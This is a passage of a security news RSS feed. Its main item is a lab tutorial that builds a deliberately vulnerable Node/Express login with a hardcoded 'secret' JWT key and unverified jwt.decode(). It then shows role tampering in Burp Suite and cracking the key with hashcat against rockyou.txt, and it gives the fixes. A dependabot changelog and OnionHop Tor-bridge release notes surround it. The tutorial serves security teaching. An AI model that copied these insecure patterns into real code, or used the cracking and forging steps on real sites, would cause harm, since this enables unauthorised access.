<li>Bump golang.org/x/mod from 0.37.0 to 0.38.0 in /go_modules/helpers by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4867732391" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15559" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15559/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15559">#15559</a></li>
<li>Bump @sigstore/verify from 3.1.0 to 3.1.1 in /npm_and_yarn/helpers by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4790653064" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15477" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15477/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15477">#15477</a></li>
<li>julia: don't propose compat updates for workspace packages or synthesize member compat entries by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IanButterworth/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IanButterworth">@IanButterworth</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4939811993" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15643" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15643/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15643">#15643</a></li>
<li>fix: guard against unparseable versions in cooldown fallback by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/currantw/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/currantw">@currantw</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4933037458" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15632" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15632/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15632">#15632</a></li>
<li>Type dependency requirement readers by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JamieMagee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JamieMagee">@JamieMagee</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4943567484" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15646" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15646/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15646">#15646</a></li>
<li>v0.388.0 by @dependabot-core-action-automation[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4925212017" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15623" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15623/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15623">#15623</a></li>
</ul>
<h2>New Contributors</h2>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/currantw/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/currantw">@currantw</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4933037458" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15632" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15632/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15632">#15632</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/dependabot/dependabot-core/compare/v0.387.0...v0.388.0"><tt>v0.387.0...v0.388.0</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Two Ways To Mess Up Your JWT Safety Net In Your Own Lab.]]></title>
<description><![CDATA[In the lab we’re going to build today, we’ll talk about JWTs and how they can affect the security of your website. This is a lab that’s been requested, and I could not be happier that the community is actually suggesting things for me to build. It’s a privilege to do this.JWT As Security MeasureJ...]]></description>
<link>https://tsecurity.de/de/3687361/hacking/two-ways-to-mess-up-your-jwt-safety-net-in-your-own-lab/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687361/hacking/two-ways-to-mess-up-your-jwt-safety-net-in-your-own-lab/</guid>
<pubDate>Wed, 22 Jul 2026 20:59:45 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FyQaXz8HeN3WWQ1vBcOBPA.png"></figure><p>In the lab we’re going to build today, we’ll talk about JWTs and how they can affect the security of your website. This is a lab that’s been requested, and I could not be happier that the community is actually suggesting things for me to build. It’s a privilege to do this.</p><h3>JWT As Security Measure</h3><p>JSON Web Tokens are used a lot by developers. They provide a way to send ‘data’ with them (e.g., a role from a user), to check for authorization. A JWT consists of 3 parts, separated by a ..</p><p>Let’s take this JWT as an example.</p><pre>eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWUsImlhdCI6MTUxNjIzOTAyMn0.KMUFsIDTnFmyG3nMiGM6H9FNFUROf3wh7SmqJp-QV30</pre><p>The first part eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 is called 'the header'. It holds information on the type of the JWT. The second part eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWUsImlhdCI6MTUxNjIzOTAyMn0 is the payload, which holds the claims. This is where that 'data' lives. If you decode this with Base64url you'll learn that this token belongs to John Doe and that he is an administrator. The last part is the important part. This is the signature. Each JWT should be signed with a <strong>strong</strong> password. Ideally that password is saved in a .env file on the server and not in the code.</p><p>So now you might wonder, well if it’s signed, nothing can go wrong right? Well, if that were true, I wouldn’t spend my evenings writing these kinds of blog posts now would I 😅.</p><h3>Let’s Build The Lab Already</h3><p>You’re right to think this by now. Enough theory, let’s do some hands on keyboard. As always in this series, I’ll provide you with the lab structure and some code to get us started.</p><h3>Lab Tree</h3><pre>/mediumLabs<br>└── /JWT<br>    ├── server.js<br>    ├── login.html<br>    ├── index.html<br>    ├── admin.html<br>    ├── /node_modules<br>    ├── /package-lock.json<br>    └── /package.json</pre><h3>Code</h3><p><strong>server.js</strong></p><pre>const express = require('express');<br>const jwt = require('jsonwebtoken');<br>const path = require('path');<br>const Database = require('better-sqlite3');<br>const app = express();<br>const JWT_SECRET = 'secret';<br>const db = new Database(':memory:');<br>db.exec(`<br>  CREATE TABLE users (<br>    id INTEGER PRIMARY KEY,<br>    username TEXT,<br>    password TEXT,<br>    role TEXT<br>  )<br>`);<br>db.prepare("INSERT INTO users (username, password, role) VALUES ('user', 'password', 'user')").run();<br>app.use(express.urlencoded({ extended: false }));<br><br>app.get('/', (req, res) =&gt; res.sendFile(path.join(__dirname, 'login.html')));<br>function getToken(req) {<br>  const match = (req.headers.cookie || '').match(/token=([^;]+)/);<br>  return match ? match[1] : null;<br>}<br>app.post('/login', (req, res) =&gt; {<br>  const { username, password } = req.body;<br>  const user = db.prepare('SELECT * FROM users WHERE username = ? AND password = ?').get(username, password);<br>  if (!user) return res.redirect('/?error=Invalid+credentials');<br>  const token = jwt.sign({ username: user.username, role: user.role }, JWT_SECRET);<br>  res.setHeader('Set-Cookie', `token=${token}; Path=/`);<br>  res.redirect('/index.html');<br>});<br>app.get('/index.html', (req, res) =&gt; {<br>  try {<br>    res.sendFile(path.join(__dirname, 'index.html'));<br>  } catch {<br>    res.redirect('/');<br>  }<br>});<br>app.get('/admin', (req, res) =&gt; {<br>});<br><br>app.listen(3000, () =&gt; console.log('Listening on http://localhost:3000'));</pre><p><strong>login.html</strong></p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html lang="en"&gt;<br>&lt;head&gt;<br>    &lt;meta charset="UTF-8"&gt;<br>    &lt;meta name="viewport" content="width=device-width, initial-scale=1.0"&gt;<br>    &lt;title&gt;Login&lt;/title&gt;<br>&lt;/head&gt;<br>&lt;body&gt;<br>    &lt;h1&gt;Login&lt;/h1&gt;<br>    &lt;form method="POST" action="/login"&gt;<br>        &lt;div&gt;<br>            &lt;label&gt;Username: &lt;input type="text" name="username" required&gt;&lt;/label&gt;<br>        &lt;/div&gt;<br>        &lt;div&gt;<br>            &lt;label&gt;Password: &lt;input type="password" name="password" required&gt;&lt;/label&gt;<br>        &lt;/div&gt;<br>        &lt;button type="submit"&gt;Login&lt;/button&gt;<br>    &lt;/form&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><p><strong>index.html</strong></p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html lang="en"&gt;<br>&lt;head&gt;<br>    &lt;meta charset="UTF-8"&gt;<br>    &lt;meta name="viewport" content="width=device-width, initial-scale=1.0"&gt;<br>    &lt;title&gt;Home&lt;/title&gt;<br>&lt;/head&gt;<br>&lt;body&gt;<br>    &lt;h1&gt;Welcome!&lt;/h1&gt;<br>    &lt;p&gt;You are logged in as &lt;strong id="username"&gt;&lt;/strong&gt;.&lt;/p&gt;<br>    &lt;p&gt;&lt;a href="/admin"&gt;Go to Admin Panel&lt;/a&gt;&lt;/p&gt;<br>    &lt;br&gt;<br>&lt;script&gt;<br>        function getCookie(name) {<br>            return document.cookie.split('; ').find(r =&gt; r.startsWith(name + '='))?.split('=')[1];<br>        }<br>        function decodeJWT(token) {<br>            return JSON.parse(atob(token.split('.')[1]));<br>        }<br>        const token = getCookie('token');<br>        const payload = decodeJWT(token);<br>        document.getElementById('username').textContent = payload.username + ' (role: ' + payload.role + ')';<br>    &lt;/script&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><p><strong>admin.html</strong></p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html lang="en"&gt;<br>&lt;head&gt;<br>    &lt;meta charset="UTF-8"&gt;<br>    &lt;meta name="viewport" content="width=device-width, initial-scale=1.0"&gt;<br>    &lt;title&gt;Admin Panel&lt;/title&gt;<br>&lt;/head&gt;<br>&lt;body id="page"&gt;<br>&lt;h1&gt;Admin Panel&lt;/h1&gt;<br>    &lt;p&gt;Welcome, admin. Here is the secret flag:&lt;/p&gt;<br>    &lt;p&gt;&lt;strong&gt;FLAG{JWT}&lt;/strong&gt;&lt;/p&gt;<br>    &lt;br&gt;<br>    &lt;a href="/index.html"&gt;Back to Home&lt;/a&gt;<br>&lt;/body&gt;<br>    &lt;script&gt;<br>        function getCookie(name) {<br>            return document.cookie.split('; ').find(r =&gt; r.startsWith(name + '='))?.split('=')[1];<br>        }<br>        function decodeJWT(token) {<br>            return JSON.parse(atob(token.split('.')[1]));<br>        }<br>        const token = getCookie('token');<br>        const payload = decodeJWT(token);<br>        if (payload.role !== 'admin') {<br>            alert('Access denied. You need to be an admin to view this page.');<br>        }<br>    &lt;/script&gt;<br>&lt;/html&gt;</pre><h3>Let’s Add Some Vulnerabilities</h3><p>Ok, so now we have our base code, and we need to implement the functionality that will make sure only people with the role admin can navigate to /admin. First off, run npm run dev to see your code actually start.</p><p>In a <em>very, very wrong</em> way we already tried implementing security in admin.html. When you look inside the &lt;script&gt; tags, you'll see that if the role is not admin, an alert will pop up. I added this because this was a real-life finding of mine. Some developer did not realise that even if your role isn't admin, you will be able to navigate to the page. The only 'annoying' thing is that you'll have to click OK on an alert box.</p><blockquote><em>It’s important to realise that these mistakes happen more often than you think. Developers with a lot on their plate, little sleep and not enough coffee can truly believe this is ‘secure’.</em></blockquote><p>So let’s now add some real security to the backend! Frontend ‘security’ is ridiculous to start with, so let’s do our very best.</p><p><strong>server.js</strong></p><pre>app.get('/admin', (req, res) =&gt; {<br>  const token = getToken(req);<br>  if (!token) return res.redirect('/');<br>  const payload = jwt.decode(token);<br>  if (!payload || payload.role !== 'admin') return res.status(403).send('Forbidden');<br>  res.sendFile(path.join(__dirname, 'admin.html'));<br>});</pre><p>Alright, let’s walk through this piece of code. First we look for the token — if there isn’t one, we redirect to /, which is a good strategy. Then we decode the JWT and check if the role is admin. If there's no token, or the role isn't admin, we get a 403.</p><p>Sounds solid, right? If everything checks out, the backend trusts you, because the token says you’re an admin.</p><p>So what’s the problem? The code does check if the role is admin, which is good. But it never checks whether that role actually belongs to you. That check should happen by verifying the JWT’s signature. This code doesn’t, because jwt.decode() only reads the payload, it doesn't verify anything. When the server originally signed this token, it signed it with role: user. If you change the payload to role: admin without re-signing it, the signature no longer matches what's in the token, but since nothing here checks the signature, that mismatch goes completely unnoticed.</p><p>That’s the bug: because that check never happens, we can just change the payload in Burp Suite and see the admin page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5_iPpy8etHFbeUZMEijxQg.png"></figure><p>There is a very easy way to solve this though. Instead of using jwt.decode(token) a developer should always use jwt.verify(token, JWT_SECRET). This code makes sure that function will create a signature and check that signature with the signature that has been sent. If there was any tampering with the JWT, this signature won't check out and your access to the restricted endpoint is denied.</p><p>So let’s update our code.</p><p><strong>server.js</strong></p><pre>app.get('/admin', (req, res) =&gt; {<br>  try {<br>    const payload = jwt.verify(getToken(req), JWT_SECRET);<br>    if (payload.role !== 'admin') return res.status(403).send('Forbidden');<br>    res.sendFile(path.join(__dirname, 'admin.html'));<br>  } catch {<br>    res.redirect('/');<br>  }<br>});</pre><p>If you now try the same thing, you’ll end up in the catch block, which will redirect you to / (our login page) because the signature will not check out.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1004/1*HdBUaxOXrt3RO4yj1jdwdw.png"></figure><p>So all safe now, right? Well let’s try something else… If you ever want to crack a secret, I can recommend hashcat. It's available on all platforms and easily installable.</p><p>For this attack we’ll need mode 16500 (this is just a way to tell hashcat what we want to do). We'll also need the flag -a 0, which will tell hashcat to use a wordlist we're gonna provide. Lastly, you'll see -d 1 — that's because I'm on a Mac with an M-chip.</p><p>The complete command looks like this: hashcat -m 16500 -a 0 &lt;JWT&gt; rockyou.txt -d1.</p><blockquote><em>Don’t forget to use the untampered token for this!</em></blockquote><pre>➜  wordlists hashcat -m 16500 -a 0 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJyb2xlIjoidXNlciIsImlhdCI6MTc4MzEwNDc0OX0.myFrub4u8yG3IeItDYKO-2Vci6sMfLaJ1OrlQDeuQfc rockyou.txt -d1<br>hashcat (v7.1.2) starting<br>&lt;skip&gt;<br>Dictionary cache hit:<br>* Filename..: rockyou.txt<br>* Passwords.: 14344384<br>* Bytes.....: 139921497<br>* Keyspace..: 14344384<br>eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJyb2xlIjoidXNlciIsImlhdCI6MTc4MzEwNDc0OX0.myFrub4u8yG3IeItDYKO-2Vci6sMfLaJ1OrlQDeuQfc:secret<br>                                                          <br>Session..........: hashcat<br>Status...........: Cracked<br>Hash.Mode........: 16500 (JWT (JSON Web Token))<br>Hash.Target......: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZS...DeuQfc</pre><p>As you can see, at the end of our JWT there is a colon with our JWT_SECRET written behind it.</p><p>Now let’s abuse this knowledge we have gained. In Burp Suite we’ll use functionality that will sign our tampered JWT so that the code will verify it, and the signature will check out.</p><p>In Burp Suite, click on the JWT editor on the top right corner, and choose the option ‘New Symmetric Key’. Once you have that, click specify secret and fill in the cracked JWT_SECRET in there. Give it an ID and click OK.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Jjzbxce5FoutFU5V4XJZqQ.png"></figure><p>Once you have that, go back to Repeater, change the role back to ‘admin’, click sign and select the ID you just made.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F-CceFWjnUVgb4tpiq6xGw.png"></figure><p>And now, we have successfully evaded the security that was in place.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YHQgmBNWdmUDecjOmX92Rg.png"></figure><h3>Lessons We Should Learn About This</h3><p>As you saw, correctly implementing a JWT is only the first step of coding securely. Having a strong password policy, even when it’s not really enforceable, is very important. Don’t use ‘secret’ as your JWT_SECRET</p><p>One thing I already mentioned, but what I want to stress again is NEVER EVER store your JWT secret as a hardcoded variable, like we did with JWT_SECRET = 'secret'. Your code will probably live on GitHub where all kinds of stupid things can happen. A secret belongs in a .env file that is in your .gitignore and lives only on your dev machine and on the server, NOT in your code.</p><blockquote>I break web apps for fun, make vulnerable labs to learn, and write about it so you can too.</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=6d94a963b07d" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/two-ways-to-mess-up-your-jwt-safety-net-in-your-own-lab-6d94a963b07d">Two Ways To Mess Up Your JWT Safety Net In Your Own Lab.</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[OnionHop 3.6]]></title>
<description><![CDATA[The scanner release. The Scanner page gains two long-requested tools, plus a round of bridge-tab refinements and fixes driven by community feedback.
Added

SNI scanner (Scanner → SNI Scanner). Finds SNI/front hosts that work on your network via real TLS handshakes. Domain mode tests a list of can...]]></description>
<link>https://tsecurity.de/de/3687279/it-security-tools/onionhop-36/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687279/it-security-tools/onionhop-36/</guid>
<pubDate>Wed, 22 Jul 2026 20:29:20 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The scanner release. The Scanner page gains two long-requested tools, plus a round of bridge-tab refinements and fixes driven by community feedback.</p>
<h3>Added</h3>
<ul>
<li><strong>SNI scanner</strong> (Scanner → SNI Scanner). Finds SNI/front hosts that work on your network via real TLS handshakes. <strong>Domain mode</strong> tests a list of candidate domains as SNI on :443; <strong>Range mode</strong> tests one SNI across an IPv4 CIDR range (bounded). Working hosts can be applied as your custom SNI hosts (used by fronted webtunnel/meek/snowflake bridges) or saved to the library. Green = handshake completed (usable), red = blocked/reset.</li>
<li><strong>Saved-bridges library</strong> (Scanner → Saved). Bridges from the bridge scanner and hosts from the SNI scanner can be saved to a persistent library, then labelled, re-applied or removed later - scan results are no longer lost when the scan finishes. Both scanners gained a <strong>Save to Library</strong> action.</li>
<li><strong>Current Bridge tab: per-row copy + sortable columns</strong> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4792201997" data-permission-text="Title is private" data-url="https://github.com/center2055/OnionHop/issues/69" data-hovercard-type="issue" data-hovercard-url="/center2055/OnionHop/issues/69/hovercard" href="https://github.com/center2055/OnionHop/issues/69">#69</a>). Each bridge row has a one-tap copy button, and the Type / Address / Status headers sort on click (click again to reverse); the bridge currently in use stays pinned to the top.</li>
<li><strong>Bridge copy/export refinement</strong> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4623180884" data-permission-text="Title is private" data-url="https://github.com/center2055/OnionHop/issues/56" data-hovercard-type="issue" data-hovercard-url="/center2055/OnionHop/issues/56/hovercard" href="https://github.com/center2055/OnionHop/issues/56">#56</a>). Copy on the Current Bridge tab now returns only the bridge Tor is actually using (not the whole supplemented list), and Export writes a CSV with Type, Address, Status, Fingerprint and the raw line.</li>
<li><strong>CLI <code>scan &lt;type&gt; --use</code>.</strong> After probing, the reachable bridges are saved as your custom list and selected as the source, so the next <code>connect</code> uses exactly those - the command-line equivalent of the GUI scanner's Apply button.</li>
</ul>
<h3>Fixed</h3>
<ul>
<li><strong>Custom bridge source ignored under Smart Connect</strong> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4793735074" data-permission-text="Title is private" data-url="https://github.com/center2055/OnionHop/issues/70" data-hovercard-type="issue" data-hovercard-url="/center2055/OnionHop/issues/70/hovercard" href="https://github.com/center2055/OnionHop/issues/70">#70</a>). Smart Connect (on by default) reset the source to Auto and dropped your custom bridge list while racing its own transports, so a pasted obfs4 bridge could end up connecting via a webtunnel bridge you never added. Smart Connect now honors an explicit Custom source and uses exactly those bridges.</li>
</ul>
<p>Thanks to <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Airuop/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Airuop">@Airuop</a> for the scanner and bridge-tab suggestions.</p>
<h3>Downloads</h3>
<table>
<thead>
<tr>
<th align="left">Platform</th>
<th align="left">File</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">Windows installer</td>
<td align="left"><code>OnionHop-Setup-v3.exe</code></td>
</tr>
<tr>
<td align="left">Windows portable</td>
<td align="left"><code>OnionHopV3-Portable-3.6-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Windows CLI</td>
<td align="left"><code>OnionHop-CLI-Setup-3.6.exe</code> / <code>OnionHopCLI-Portable-3.6-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Linux</td>
<td align="left"><code>OnionHop-x86_64.AppImage</code></td>
</tr>
<tr>
<td align="left">Linux CLI</td>
<td align="left"><code>OnionHopCLI-3.6-linux-x64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS (Apple Silicon)</td>
<td align="left"><code>OnionHop-3.6-macOS-arm64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS (Intel)</td>
<td align="left"><code>OnionHop-3.6-macOS-x64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Apple Silicon)</td>
<td align="left"><code>OnionHopCLI-3.6-macos-arm64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Intel)</td>
<td align="left"><code>OnionHopCLI-3.6-macos-x64.tar.gz</code></td>
</tr>
</tbody>
</table>
<blockquote>
<p>Not sure which Mac you have? Apple menu &gt; About This Mac. "Apple M1/M2/M3/M4" means Apple Silicon (arm64); anything listing an Intel processor needs the x64 build.</p>
</blockquote>]]></content:encoded>
</item>
<item>
<title><![CDATA[OnionHop 3.6.1]]></title>
<description><![CDATA[A patch for v3.6. The SNI scanner shipped broken and is fixed here; please update if you use it.
Fixed

SNI scanner never found a working host. Every probe failed with an internal .NET SslStream error (the certificate-validation callback was set in two places at once), so results always came back...]]></description>
<link>https://tsecurity.de/de/3687278/it-security-tools/onionhop-361/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687278/it-security-tools/onionhop-361/</guid>
<pubDate>Wed, 22 Jul 2026 20:29:19 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A patch for v3.6. The SNI scanner shipped broken and is fixed here; please update if you use it.</p>
<h3>Fixed</h3>
<ul>
<li><strong>SNI scanner never found a working host.</strong> Every probe failed with an internal .NET SslStream error (the certificate-validation callback was set in two places at once), so results always came back "blocked" and the scanner looked like it did nothing. It now completes TLS handshakes and reports reachable SNI hosts correctly.</li>
<li><strong>SNI scanner status messages are now localized</strong> ("Ready.", "Scanning…", "Enter at least one domain to test.", etc.) instead of always showing in English.</li>
</ul>
<h3>Added</h3>
<ul>
<li>The saved-bridges library now shows a <strong>Ping</strong> column - the latency measured when each entry was saved.</li>
</ul>
<h3>Downloads</h3>
<table>
<thead>
<tr>
<th align="left">Platform</th>
<th align="left">File</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">Windows installer</td>
<td align="left"><code>OnionHop-Setup-v3.exe</code></td>
</tr>
<tr>
<td align="left">Windows portable</td>
<td align="left"><code>OnionHopV3-Portable-3.6.1-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Windows CLI</td>
<td align="left"><code>OnionHop-CLI-Setup-3.6.1.exe</code> / <code>OnionHopCLI-Portable-3.6.1-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Linux</td>
<td align="left"><code>OnionHop-x86_64.AppImage</code></td>
</tr>
<tr>
<td align="left">Linux CLI</td>
<td align="left"><code>OnionHopCLI-3.6.1-linux-x64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS (Apple Silicon)</td>
<td align="left"><code>OnionHop-3.6.1-macOS-arm64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS (Intel)</td>
<td align="left"><code>OnionHop-3.6.1-macOS-x64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Apple Silicon)</td>
<td align="left"><code>OnionHopCLI-3.6.1-macos-arm64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Intel)</td>
<td align="left"><code>OnionHopCLI-3.6.1-macos-x64.tar.gz</code></td>
</tr>
</tbody>
</table>]]></content:encoded>
</item>
<item>
<title><![CDATA[OnionHop 3.7]]></title>
<description><![CDATA[Fixes Snowflake on heavily-censored networks, and makes the SNI scanner easier to use with per-country lists.
Fixed

Snowflake starting again on censored networks (#71). Snowflake was failing to start with "Managed proxy ... terminated with status code 2" and the connection bar stuck, whenever th...]]></description>
<link>https://tsecurity.de/de/3687275/it-security-tools/onionhop-37/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687275/it-security-tools/onionhop-37/</guid>
<pubDate>Wed, 22 Jul 2026 20:29:14 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Fixes Snowflake on heavily-censored networks, and makes the SNI scanner easier to use with per-country lists.</p>
<h3>Fixed</h3>
<ul>
<li><strong>Snowflake starting again on censored networks (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4840691314" data-permission-text="Title is private" data-url="https://github.com/center2055/OnionHop/issues/71" data-hovercard-type="issue" data-hovercard-url="/center2055/OnionHop/issues/71/hovercard" href="https://github.com/center2055/OnionHop/issues/71">#71</a>).</strong> Snowflake was failing to start with "Managed proxy ... terminated with status code 2" and the connection bar stuck, whenever the AMP-cache rendezvous was enabled. The AMP cache was being passed as a <code>-ampcache</code> command-line flag, which the bundled Snowflake binary (lyrebird) rejects, so it exited immediately. It is now set as an <code>ampcache=</code> parameter on the Snowflake bridge line, which lyrebird reads. This mainly affected networks where Smart Connect forces Snowflake AMP (for example Iran).</li>
</ul>
<h3>Added</h3>
<ul>
<li><strong>SNI scanner compact layout.</strong> The SNI scanner now matches the bridge scanner: a "Custom list" toggle keeps the candidate-domain box collapsed until you turn it on or load, import, or request a list, so the controls take less room.</li>
<li><strong>Request SNI (per-country lists).</strong> Working SNI hosts are country-specific, so the SNI scanner gained a "Request SNI" button that fetches a candidate list for your country from the OnionHop SNI-lists source and loads it for scanning. A country picker appears when the source is reachable.</li>
<li><strong>Export Working.</strong> The SNI scanner can now save the working SNI hosts to a text file.</li>
<li><strong>About page release links.</strong> Each release in the changelog history now has a "View on GitHub" link that opens that release's page, and the sources section lists the new OnionHop SNI Lists source.</li>
</ul>
<h3>Downloads</h3>
<table>
<thead>
<tr>
<th align="left">Platform</th>
<th align="left">File</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">Windows installer</td>
<td align="left"><code>OnionHop-Setup-v3.exe</code></td>
</tr>
<tr>
<td align="left">Windows portable</td>
<td align="left"><code>OnionHopV3-Portable-3.7-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Windows CLI</td>
<td align="left"><code>OnionHop-CLI-Setup-3.7.exe</code> / <code>OnionHopCLI-Portable-3.7-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Linux</td>
<td align="left"><code>OnionHop-x86_64.AppImage</code></td>
</tr>
<tr>
<td align="left">Linux CLI</td>
<td align="left"><code>OnionHopCLI-3.7-linux-x64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS (Apple Silicon)</td>
<td align="left"><code>OnionHop-3.7-macOS-arm64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS (Intel)</td>
<td align="left"><code>OnionHop-3.7-macOS-x64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Apple Silicon)</td>
<td align="left"><code>OnionHopCLI-3.7-macos-arm64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Intel)</td>
<td align="left"><code>OnionHopCLI-3.7-macos-x64.tar.gz</code></td>
</tr>
</tbody>
</table>]]></content:encoded>
</item>
<item>
<title><![CDATA[OnionHop 3.7.2]]></title>
<description><![CDATA[Makes bridge-transport failures diagnosable and stops the scanner trusting dead webtunnel bridges.
Fixed

Bridge scanner verifies webtunnel for real. The scanner now confirms a webtunnel bridge with an actual handshake (a WebSocket upgrade to the bridge's own endpoint, which must return 101) inst...]]></description>
<link>https://tsecurity.de/de/3687273/it-security-tools/onionhop-372/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687273/it-security-tools/onionhop-372/</guid>
<pubDate>Wed, 22 Jul 2026 20:29:10 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Makes bridge-transport failures diagnosable and stops the scanner trusting dead webtunnel bridges.</p>
<h3>Fixed</h3>
<ul>
